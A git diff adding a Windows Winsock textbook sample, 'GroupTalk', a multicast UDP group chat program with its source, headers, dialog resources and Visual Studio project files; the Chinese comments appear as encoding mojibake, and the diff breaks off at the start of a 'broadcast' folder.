+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.cpp" new file mode 100644 index 0000000..b2fa281 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.cpp" @@ -0,0 +1,224 @@ +//////////////////////////////////////// +// GroupTalk.cppÎļþ + +#include "GroupTalk.h" +#include +#include // IP_MULTICAST_TTL¡¢IP_MULTICAST_IF¶¼¶¨ÒåÔÚWs2tcpip.hÎļþ + + + +BOOL CGroupTalk::JoinGroup() +{ + // ¼ÓÈë»áÒé×é + ip_mreq mcast; + mcast.imr_interface.S_un.S_addr = INADDR_ANY; + mcast.imr_multiaddr.S_un.S_addr = m_dwMultiAddr; + int nRet = ::setsockopt(m_sRead, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char*)&mcast, sizeof(mcast)); + + if(nRet != SOCKET_ERROR) + { + // Ïò×éÖÐËùÓгÉÔ±·¢ËÍMT_JIONÏûÏ¢£¬¸æËßËüÃÇ×Ô¼ºµÄÓû§ÐÅÏ¢ + char buf[sizeof(GT_HDR)] = { 0 }; + GT_HDR *pHeader = (GT_HDR *)buf; + pHeader->gt_type = MT_JION; + strncpy(pHeader->szUser, m_szUser, 15); + Send(buf, sizeof(GT_HDR), m_dwMultiAddr); + return TRUE; + } + return FALSE; +} + +BOOL CGroupTalk::LeaveGroup() +{ + // À뿪»áÒé×é + ip_mreq mcast; + mcast.imr_interface.S_un.S_addr = INADDR_ANY; + mcast.imr_multiaddr.S_un.S_addr = m_dwMultiAddr; + int nRet = ::setsockopt(m_sRead, IPPROTO_IP, IP_DROP_MEMBERSHIP, (char*)&mcast, sizeof(mcast)); + + if(nRet != SOCKET_ERROR) + { + // Ïò×éÖÐËùÓгÉÔ±·¢ËÍMT_LEAVEÏûÏ¢£¬¸æËßËüÃÇ×Ô¼ºÀ뿪ÁË + char buf[sizeof(GT_HDR)] = { 0 }; + GT_HDR *pHeader = (GT_HDR *)buf; + pHeader->gt_type = MT_LEAVE; + strncpy(pHeader->szUser, m_szUser, 15); + Send(buf, sizeof(GT_HDR), m_dwMultiAddr); + return TRUE; + } + return FALSE; +} + +int CGroupTalk::Send(char *szText, int nLen, DWORD dwRemoteAddr) +{ + // ·¢ËÍUDP·â°ü + sockaddr_in dest; + dest.sin_family = AF_INET; + dest.sin_addr.S_un.S_addr = dwRemoteAddr; + dest.sin_port = ::ntohs(GROUP_PORT); + return ::sendto(m_sSend, szText, nLen, 0, (sockaddr*)&dest, sizeof(dest)); +} + + +CGroupTalk::CGroupTalk(HWND hNotifyWnd, DWORD dwMultiAddr, DWORD dwLocalAddr, int nTTL) +{ + m_hNotifyWnd = hNotifyWnd; + m_dwMultiAddr = dwMultiAddr; + m_dwLocalAddr = dwLocalAddr; + m_nTTL = nTTL; + m_bQuit = FALSE; + + // È¡µÃ±¾»úµÄÓû§Ãû×÷Ϊµ±Ç°¿Í»§Óû§Ãû + DWORD dw = 256; + ::gethostname(m_szUser, dw); + //´´½¨Ê¼þ¶ÔÏóºÍ¹¤×÷Ïß³Ì + m_hEvent = ::WSACreateEvent(); + m_hThread = ::CreateThread(NULL, 0, _GroupTalkEntry, this, 0, NULL); +} + +CGroupTalk::~CGroupTalk() +{ + // ֪ͨ¹¤×÷Ïß³ÌÍ˳ö£¬µÈËüÍ˳öºó£¬ÊÍ·Å×ÊÔ´ + m_bQuit = TRUE; + ::SetEvent(m_hEvent); + ::WaitForSingleObject(m_hThread, INFINITE); + ::CloseHandle(m_hThread); + ::CloseHandle(m_hEvent); +} + + +DWORD WINAPI _GroupTalkEntry(LPVOID lpParam) +{ + CGroupTalk *pTalk = (CGroupTalk *)lpParam; + + // ´´½¨·¢ËÍÌ×½Ú×ֺͽÓÊÕÌ×½Ú×Ö + pTalk->m_sSend = ::socket(AF_INET, SOCK_DGRAM, 0); + pTalk->m_sRead = ::WSASocket(AF_INET, SOCK_DGRAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); + + // ÉèÖÃÔÊÐíÆäËüÌ×½Ú×ÖÒ²½ÓÊմ˽ÓÊÕÌ×½Ú×ÖËù¼àÌý¶Ë¿ÚµÄµØÖ· + BOOL bReuse = TRUE; + ::setsockopt(pTalk->m_sRead, SOL_SOCKET, SO_REUSEADDR, (char*)&bReuse, sizeof(BOOL)); + + // ÉèÖöಥ·â°üµÄTTLÖµ + ::setsockopt(pTalk->m_sSend, + IPPROTO_IP, IP_MULTICAST_TTL, (char*)&pTalk->m_nTTL, sizeof(pTalk->m_nTTL)); + + // ÉèÖÃҪʹÓõķ¢ËÍ½Ó¿Ú + setsockopt(pTalk->m_sSend, + IPPROTO_IP, IP_MULTICAST_IF, (char*)&pTalk->m_dwLocalAddr, sizeof(pTalk->m_dwLocalAddr)); + + // °ó¶¨½ÓÊÕÌ×½Ú×Öµ½±¾µØ¶Ë¿Ú + sockaddr_in si; + si.sin_family = AF_INET; + si.sin_port = ::ntohs(GROUP_PORT); + si.sin_addr.S_un.S_addr = pTalk->m_dwLocalAddr; + int nRet = ::bind(pTalk->m_sRead, (sockaddr*)&si, sizeof(si)); + if(nRet == SOCKET_ERROR) + { + ::closesocket(pTalk->m_sSend); + ::closesocket(pTalk->m_sRead); + ::SendMessage(pTalk->m_hNotifyWnd, WM_GROUPTALK, -1, (long)"bind failed! \n"); + return -1; + } + + // ¼ÓÈë¶à²¥×é + if(!pTalk->JoinGroup()) + { + ::closesocket(pTalk->m_sSend); + ::closesocket(pTalk->m_sRead); + ::SendMessage(pTalk->m_hNotifyWnd, WM_GROUPTALK, -1, (long)"JoinGroup failed! \n"); + return -1; + } + + // Ñ­»·½ÓÊÕµ½À´µÄ·â°ü + WSAOVERLAPPED ol = { 0 }; + ol.hEvent = pTalk->m_hEvent; + WSABUF buf; + buf.buf = new char[BUFFER_SIZE]; + buf.len = BUFFER_SIZE; + while(TRUE) + { + // ͶµÝ½ÓÊÕI/O + DWORD dwRecv; + DWORD dwFlags = 0; + sockaddr_in saFrom; + int nFromLen = sizeof(saFrom); + int ret = ::WSARecvFrom(pTalk->m_sRead, + &buf, 1, &dwRecv, &dwFlags, (sockaddr*)&saFrom, &nFromLen, &ol, NULL); + if(ret == SOCKET_ERROR) + { + if(::WSAGetLastError() != WSA_IO_PENDING) + { + ::SendMessage(pTalk->m_hNotifyWnd, WM_GROUPTALK, -1, (long)"PostRecv failed! \n"); + pTalk->LeaveGroup(); + ::closesocket(pTalk->m_sSend); + ::closesocket(pTalk->m_sRead); + break; + } + } + + // µÈ´ýI/OÍê³É£¬´¦Àí·â°ü + ::WSAWaitForMultipleEvents(1, &pTalk->m_hEvent, TRUE, WSA_INFINITE, FALSE); + if(pTalk->m_bQuit) // ÊÇ·ñÍ˳ö£¿ + { + pTalk->LeaveGroup(); + ::closesocket(pTalk->m_sSend); + ::closesocket(pTalk->m_sRead); + break; + } + BOOL b = ::WSAGetOverlappedResult(pTalk->m_sRead, &ol, &dwRecv, FALSE, &dwFlags); + if(b && dwRecv >= sizeof(GT_HDR)) + { + GT_HDR *pHeader = (GT_HDR*)buf.buf; + // ÌîдԴµØÖ·ÐÅÏ¢ + pHeader->dwAddr = saFrom.sin_addr.S_un.S_addr; + pTalk->DispatchMsg(pHeader, dwRecv); + } + } + + delete buf.buf; + return 0; +} + +// ´¦Àíµ½À´µÄÏûÏ¢£¬½«ËüÃÇ·Ö·¢µ½Ö÷´°¿Ú +void CGroupTalk::DispatchMsg(GT_HDR *pHeader, int nLen) +{ + if(pHeader->gt_type == MT_JION) // ÐÂÓû§¼ÓÈë + { + // ÏòмÓÈëÓû§·¢ËÍ×Ô¼ºµÄÓû§ÐÅÏ¢ + char buff[sizeof(GT_HDR)] = { 0 }; + GT_HDR *pSend = (GT_HDR*)buff; + strncpy(pSend->szUser, m_szUser, 15); + pSend->gt_type = MT_MINE; + pSend->nDataLength = 0; + Send(buff, sizeof(GT_HDR), pHeader->dwAddr); + } + else if(pHeader->gt_type == MT_MINE) + { + // ÊÇ·ñÀ´×Ô×Ô¼º£¬Èç¹ûÊÇ£¬Ôò²»´¦Àí + if(strcmp(pHeader->szUser, m_szUser) == 0) + return; + // Ϊ¼òµ¥Æð¼û£¬°ÑÔÚÏßÓû§µ±³ÉмÓÈëÓû§´¦Àí + pHeader->gt_type = MT_JION; + } + + // ֪ͨÖ÷´°¿Ú´¦Àí + ::SendMessage(m_hNotifyWnd, WM_GROUPTALK, 0, (LPARAM)pHeader); +} + + + +int CGroupTalk::SendText(char *szText, int nLen, DWORD dwRemoteAddr) +{ + // ¹¹½¨ÏûÏ¢·â°ü + char buf[sizeof(GT_HDR) + 1024] = { 0 }; + GT_HDR *pHeader = (GT_HDR *)buf; + pHeader->gt_type = MT_MESG; + pHeader->nDataLength = nLen < 1024 ? nLen : 1024; + strncpy(pHeader->szUser, m_szUser, 15); + strncpy(pHeader->data(), szText, pHeader->nDataLength); + + // ·¢ËÍ´Ë·â°ü + int nSends = Send(buf, pHeader->nDataLength + sizeof(GT_HDR), dwRemoteAddr == 0 ? m_dwMultiAddr : dwRemoteAddr); + return nSends - sizeof(GT_HDR); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.h" new file mode 100644 index 0000000..e391c1a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.h" @@ -0,0 +1,102 @@ +///////////////////////////////////////// +// GroupTalk.h + + +#include "initsock.h" + + +#define WM_GROUPTALK WM_USER + 105 + +/* + + uMsg: WM_GROUPTALK + wParam: ´íÎó´úÂ룬0±íʾûÓдíÎó + lParam: ÏûÏ¢µÄGT_HDRÍ·Ö¸Õë + +*/ + + +#define BUFFER_SIZE 4096 +#define GROUP_PORT 4567 + + +const enum +{ + MT_JION = 1, // Ò»¸öÓû§¼ÓÈë + MT_LEAVE, // Ò»¸öÓû§À뿪 + MT_MESG, // Ò»¸öÓû§·¢ËÍÏûÏ¢ + + // ÄÚ²¿Ê¹Ó㬸æËßмÓÈëµÄÓû§×Ô¼ºµÄÓû§ÐÅÏ¢ + MT_MINE +}; + +typedef struct gt_hdr +{ + u_char gt_type; // ÏûÏ¢ÀàÐÍ + DWORD dwAddr; // ·¢ËÍ´ËÏûÏ¢µÄÓû§µÄIPµØÖ· + char szUser[15]; // ·¢ËÍ´ËÏûÏ¢µÄÓû§µÄÓû§Ãû + + int nDataLength; // ºóÃæÊý¾ÝµÄ³¤¶È + char *data() { return (char*)(this + 1); } +} GT_HDR; + + + +class CGroupTalk +{ +public: + // ¹¹Ô캯Êý£¬´´½¨¹¤×÷Ị̈߳¬¼ÓÈë»áÒé×é + CGroupTalk(HWND hNotifyWnd, DWORD dwMultiAddr, DWORD dwLocalAddr = INADDR_ANY, int nTTL = 64); + // Îö¹¹º¯Êý£¬ÇåÀí×ÊÔ´£¬À뿪»áÒé×é + ~CGroupTalk(); + + // ÏòÆäËü³ÉÔ±·¢ËÍÏûÏ¢¡£dwRemoteAddrΪĿ±ê³ÉÔ±µÄµØÖ·£¬Èç¹ûΪ0ÔòÏòËùÓгÉÔ±·¢ËÍ + BOOL SendText(char *szText, int nLen, DWORD dwRemoteAddr = 0); + +protected: + // °ïÖúº¯Êý + // ¼ÓÈëÒ»¸ö¶à²¥×é + BOOL JoinGroup(); + // À뿪һ¸ö¶à²¥×é + BOOL LeaveGroup(); + // ÏòÖ¸¶¨µØÖ··¢ËÍUDP·â°ü + BOOL Send(char *szText, int nLen, DWORD dwRemoteAddr); + +protected: + // ¾ßÌåʵÏÖ + // ´¦Àíµ½À´µÄ·â°ü + void DispatchMsg(GT_HDR *pHeader, int nLen); + // ¹¤×÷Ïß³Ì + friend DWORD WINAPI _GroupTalkEntry(LPVOID lpParam); CInitSock theSock; + + HWND m_hNotifyWnd; // Ö÷´°¿Ú¾ä±ú + DWORD m_dwMultiAddr; // ´Ë×éʹÓõĶಥµØÖ· + DWORD m_dwLocalAddr; // Óû§ÒªÊ¹Óõı¾µØ½Ó¿Ú + int m_nTTL; // ¶à²¥·â°üµÄTTLÖµ + HANDLE m_hThread; // ¹¤×÷Ï߳̾ä±ú + HANDLE m_hEvent; // ʼþ¾ä±ú£¬ÓÃÀ´Ê¹ÓÃÖصþI/O½ÓÊÕÊý¾Ý + + SOCKET m_sRead; // ½ÓÊÕÊý¾ÝµÄÌ×½Ú×Ö£¬Ëü±ØÐë¼ÓÈë¶à²¥×é + SOCKET m_sSend; // ·¢ËÍÊý¾ÝµÄÌ×½Ú×Ö£¬²»±Ø¼ÓÈë¶à²¥×é + + BOOL m_bQuit; // ÓÃÀ´Í¨Öª¹¤×÷Ïß³ÌÍ˳ö + + char m_szUser[256]; // Óû§Ãû +}; + + + + +/* + + ¿ÉÒÔʹÓÃÏÂÃæµÄ½á¹¹ +#define MAX_EXPIRED 1000*60*5 + +struct USER_INFO +{ + DWORD dwAddr; + char szUser[15]; + DWORD dwLastActiveTime; +}; + +*/ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.ico" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.ico" new file mode 100644 index 0000000..fe9e890 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.ico" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.sln" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.sln" new file mode 100644 index 0000000..c3fb1e7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GroupTalk", "GroupTalk.vcproj", "{DF079CA2-7B9A-47AC-BA5F-A8B54272617F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DF079CA2-7B9A-47AC-BA5F-A8B54272617F}.Debug|Win32.ActiveCfg = Debug|Win32 + {DF079CA2-7B9A-47AC-BA5F-A8B54272617F}.Debug|Win32.Build.0 = Debug|Win32 + {DF079CA2-7B9A-47AC-BA5F-A8B54272617F}.Release|Win32.ActiveCfg = Release|Win32 + {DF079CA2-7B9A-47AC-BA5F-A8B54272617F}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.suo" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.suo" new file mode 100644 index 0000000..a44898d Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.suo" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.vcproj" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.vcproj" new file mode 100644 index 0000000..1db1785 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/GroupTalk.vcproj" @@ -0,0 +1,300 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/dialog.rc" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/dialog.rc" new file mode 100644 index 0000000..ff19ddb --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/dialog.rc" @@ -0,0 +1,169 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Chinese (P.R.C.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED +#pragma code_page(936) +#endif //_WIN32 + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_MAIN DIALOGEX 0, 0, 345, 256 +STYLE DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_CLIENTEDGE +CAPTION "GroupTalk £­ http://www.yanping.net" +FONT 9, "ËÎÌå" +BEGIN + DEFPUSHBUTTON "·¢ËÍ",IDC_SEND,280,186,34,14 + LISTBOX IDC_RECORD,26,21,287,100,LBS_SORT | LBS_NOINTEGRALHEIGHT | + WS_VSCROLL | WS_TABSTOP + GROUPBOX "ÁÄÌì¼Ç¼",IDC_STATIC,17,9,308,138 + PUSHBUTTON "Çå³ý",IDC_CLEAR,263,125,50,14 + CONTROL "ÃæÏò×é",IDC_SELGROUP,"Button",BS_AUTORADIOBUTTON,124, + 165,42,12 + CONTROL "ÃæÏòÓû§",IDC_SELUSER,"Button",BS_AUTORADIOBUTTON,185, + 165,48,12 + COMBOBOX IDC_USERS,244,163,71,80,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + EDITTEXT IDC_SENDMSG,24,186,250,45,ES_MULTILINE | ES_AUTOHSCROLL | + ES_WANTRETURN + GROUPBOX "·¢ËÍÏûÏ¢",IDC_STATIC,17,153,308,87 + LTEXT "ϵͳÏûÏ¢£º",IDC_STATIC,26,129,43,10 + EDITTEXT IDC_SYSMSG,71,127,170,13,ES_READONLY | NOT WS_BORDER, + WS_EX_STATICEDGE +END + + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO DISCARDABLE +BEGIN + IDD_MAIN, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 338 + TOPMARGIN, 7 + BOTTOMMARGIN, 249 + END +END +#endif // APSTUDIO_INVOKED + + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,1 + PRODUCTVERSION 1,0,0,1 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080404b0" + BEGIN + VALUE "Comments", "\0" + VALUE "CompanyName", "lg\0" + VALUE "FileDescription", "GroupTalk\0" + VALUE "FileVersion", "1, 0, 0, 1\0" + VALUE "InternalName", "GroupTalk\0" + VALUE "LegalCopyright", "Copyright ? 2005\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "GroupTalk.exe\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "lg GroupTalk\0" + VALUE "ProductVersion", "1, 0, 0, 1\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x804, 1200 + END +END + +#endif // !_MAC + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_MAIN ICON DISCARDABLE "GroupTalk.ico" +#endif // Chinese (P.R.C.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/initsock.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/initsock.h" new file mode 100644 index 0000000..2118975 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/initsock.h" @@ -0,0 +1,27 @@ +// initsock.h + +#include +#pragma comment(lib, "WS2_32") + +class CInitSock +{ +public: + CInitSock(); + ~CInitSock(); +}; + +inline CInitSock::CInitSock() +{ + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } +} + +inline CInitSock::~CInitSock() +{ + ::WSACleanup(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/main.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/main.cpp" new file mode 100644 index 0000000..c59038a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/main.cpp" @@ -0,0 +1,153 @@ +///////////////////////////////////////////////// +// main.cppÎļþ + +#include "GroupTalk.h" + +#include +#include "resource.h" + +BOOL __stdcall DlgProc(HWND, UINT, WPARAM, LPARAM); +int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int) +{ + int nResult = ::DialogBoxParam( + hInstance, // ʵÀý¾ä±ú + (LPCTSTR)IDD_MAIN, // ¶Ô»°¿ò×ÊÔ´IDºÅ + NULL, // ¸¸´°¿Ú¾ä±ú + DlgProc, // ÏûÏ¢´¦Àíº¯Êý + NULL); // ¶Ô»°¿ò³õʼ»¯µÄÖµ£¬ÔÚWM_INITDIALOGÏûÏ¢µÄlParam²ÎÊýÖÐÈ¡³ö + + return 0; +} + +CGroupTalk *g_pTalk; + +void HandleGroupMsg(HWND hDlg, GT_HDR *pHeader) +{ + switch(pHeader->gt_type) + { + case MT_JION: // ÐÂÓû§¼ÓÈë + { + // ÏÔʾ¸øÓû§ + char szText[56]; + wsprintf(szText, " Óû§£º¡¶%s¡·¼ÓÈ룡", pHeader->szUser); + ::SetWindowText(::GetDlgItem(hDlg, IDC_SYSMSG), szText); + + // ½«ÐÂÓû§ÐÅÏ¢Ìí¼Óµ½Áбí¿òÖÐ + int nCurSel = ::SendDlgItemMessage(hDlg, IDC_USERS, CB_GETCURSEL, 0, 0); + int nIndex = ::SendDlgItemMessage(hDlg, IDC_USERS, CB_ADDSTRING, 0, (long)pHeader->szUser); + ::SendDlgItemMessage(hDlg, IDC_USERS, CB_SETITEMDATA, nIndex, (long)pHeader->dwAddr); + if(nCurSel == -1) + nCurSel = nIndex; + ::SendDlgItemMessage(hDlg, IDC_USERS, CB_SETCURSEL, nCurSel, 0); + } + break; + + case MT_LEAVE: // Óû§À뿪 + { + // ÏÔʾ¸øÓû§ + char szText[56]; + wsprintf(szText, " Óû§£º¡¶%s¡·À뿪£¡", pHeader->szUser); + ::SetWindowText(::GetDlgItem(hDlg, IDC_SYSMSG), szText); + + // ½«À뿪µÄÓû§´ÓÁбí¿òÖÐÒƳý + int nCount = ::SendDlgItemMessage(hDlg, IDC_USERS, CB_GETCOUNT, 0, 0); + for(int i=0; iszUser); + if((DWORD)::SendDlgItemMessage(hDlg, IDC_USERS, CB_GETITEMDATA, nIndex, 0) == pHeader->dwAddr) + { + ::SendDlgItemMessage(hDlg, IDC_USERS, CB_DELETESTRING, nIndex, 0); + break; + } + } + } + break; + + case MT_MESG: // Óû§·¢ËÍÏûÏ¢ + { + char *psz = pHeader->data(); + psz[pHeader->nDataLength] = '\0'; + char szText[1024]; + wsprintf(szText, "¡¾%s ˵¡¿", pHeader->szUser); + strncat(szText, psz, 1024 - strlen(szText)); + ::SendDlgItemMessage(hDlg, IDC_RECORD, LB_INSERTSTRING, 0, (long)szText); + } + break; + } +} + +BOOL __stdcall DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + switch(uMsg) + { + case WM_INITDIALOG: + { + // ´´½¨CGroupTalk¶ÔÏó + g_pTalk = new CGroupTalk(hDlg, ::inet_addr("234.5.6.7")); + ::CheckDlgButton(hDlg, IDC_SELGROUP, 1); + ::SendMessage(hDlg, WM_SETICON, ICON_SMALL, + (long)::LoadIcon(::GetModuleHandle(NULL), (LPCTSTR)IDI_MAIN)); + } + break; + + case WM_GROUPTALK: + { + // ´¦ÀíCGroupTalk¶ÔÏó·¢À´µÄÏûÏ¢ + if(wParam != 0) + ::MessageBox(hDlg, (LPCTSTR)lParam, "³ö´í£¡", 0); + else + HandleGroupMsg(hDlg, (GT_HDR*)lParam); + } + break; + + case WM_COMMAND: + switch(LOWORD(wParam)) + { + case IDC_SEND: // Óû§°´Ï·¢ËÍÏûÏ¢°´Å¥ + { + // È¡µÃÒª·¢Ë͵ÄÏûÏ¢ + char szText[1024]; + int nLen = ::GetWindowText(::GetDlgItem(hDlg, IDC_SENDMSG), szText, 1024); + if(nLen == 0) + break; + + // ÊÇÃæÏò×飬»¹ÊÇÃæÏòÓû§£¿ + BOOL bToAll = ::IsDlgButtonChecked(hDlg, IDC_SELGROUP); + DWORD dwAddr; + if(bToAll) + { + dwAddr = 0; + } + else + { + int nIndex = ::SendDlgItemMessage(hDlg, IDC_USERS, CB_GETCURSEL, 0, 0); + if(nIndex == -1) + { + ::MessageBox(hDlg, "ÇëÑ¡ÔñÒ»¸öÓû§£¡", "GroupTalk", 0); + break; + } + // È¡µÃÓû§IPµØÖ· + dwAddr = ::SendDlgItemMessage(hDlg, IDC_USERS, CB_GETITEMDATA, nIndex, 0); + } + // ·¢ËÍÏûÏ¢ + if(g_pTalk->SendText(szText, nLen, dwAddr) == nLen) + ::SetWindowText(::GetDlgItem(hDlg, IDC_SENDMSG), ""); + } + break; + + case IDC_CLEAR: // Óû§°´ÏÂÇå³ý°´Å¥ + ::SendDlgItemMessage(hDlg, IDC_RECORD, LB_RESETCONTENT, 0, 0); + break; + + case IDCANCEL: // Óû§¹Ø±Õ³ÌÐò + { + delete g_pTalk; + ::EndDialog (hDlg, IDCANCEL); + } + break; + } + break; + } + return 0; +} + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/resource.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/resource.h" new file mode 100644 index 0000000..74196b9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/GroupTalk/resource.h" @@ -0,0 +1,25 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Developer Studio generated include file. +// Used by dialog.rc +// +#define IDD_MAIN 101 +#define IDI_MAIN 102 +#define IDC_RECORD 1000 +#define IDC_CLEAR 1001 +#define IDC_SELGROUP 1003 +#define IDC_SELUSER 1004 +#define IDC_USERS 1005 +#define IDC_SENDMSG 1006 +#define IDC_SEND 1008 +#define IDC_SYSMSG 1010 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 103 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1012 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/initsock.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/initsock.h" new file mode 100644 index 0000000..2118975 --- /dev/null +++ "b/Project/Network and 